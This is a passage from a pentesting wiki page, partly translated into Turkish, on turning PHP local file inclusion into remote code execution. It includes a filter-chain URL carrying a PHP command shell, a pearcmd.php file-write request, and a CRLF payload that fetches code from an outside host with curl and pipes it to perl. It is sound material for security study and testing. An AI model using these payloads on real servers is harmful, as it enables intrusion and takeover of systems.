As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 sağlarsanız, filtre "." karakterini görmezden gelir ve base64'e "php" ekler. İşte bir örnek payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### php filters ile (dosya gerekmez)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Segmentation fault ile
**Yükleyin** `/tmp` içinde **geçici** olarak saklanacak bir dosyayı, sonra **aynı istekte** bir **segmentation fault** tetikleyin; böylece **geçici dosya silinmeyecek** ve onu arayabilirsiniz.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Nginx temp file storage ile
Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### PHP_SESSION_UPLOAD_PROGRESS ile
Eğer bir **Local File Inclusion** bulduysanız, **session**'ınız olmasa ve `session.auto_start` `Off` olsa bile. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP **otomatik olarak session'i etkinleştirir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Windows'ta temp file uploads ile
Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### `pearcmd.php` + URL args ile
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Aşağıdaki bir CRLF vuln'ü istismar ederek RCE elde ediyor (kaynak [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo() ile (file_uploads = on)
Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()**'u açığa çıkaran ve file_uploads = on olan bir dosya varsa RCE elde edebilirsiniz:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ile
Eğer bir **Local File Inclusion** bulduysanız ve geçici dosyanın yolunu **exfiltrate** edebiliyorsanız AMA **sunucu**, dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını **kontrol ediyorsa**, bu kontrolü bu **Race Condition** ile **atlatmayı** deneyebilirsiniz:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### eternal waiting + bruteforce ile
Eğer LFI'yi **upload temporary files** için kötüye kullanabiliyor ve sunucunun PHP yürütmesini **hang** edecek şekilde yapabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya isimlerini **bruteforce** edebilirsiniz:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekiyor).
**Bunun nasıl faydalı olduğunu bilmiyorum ama işe yarayabilir.**\
_PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Kaynaklar
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}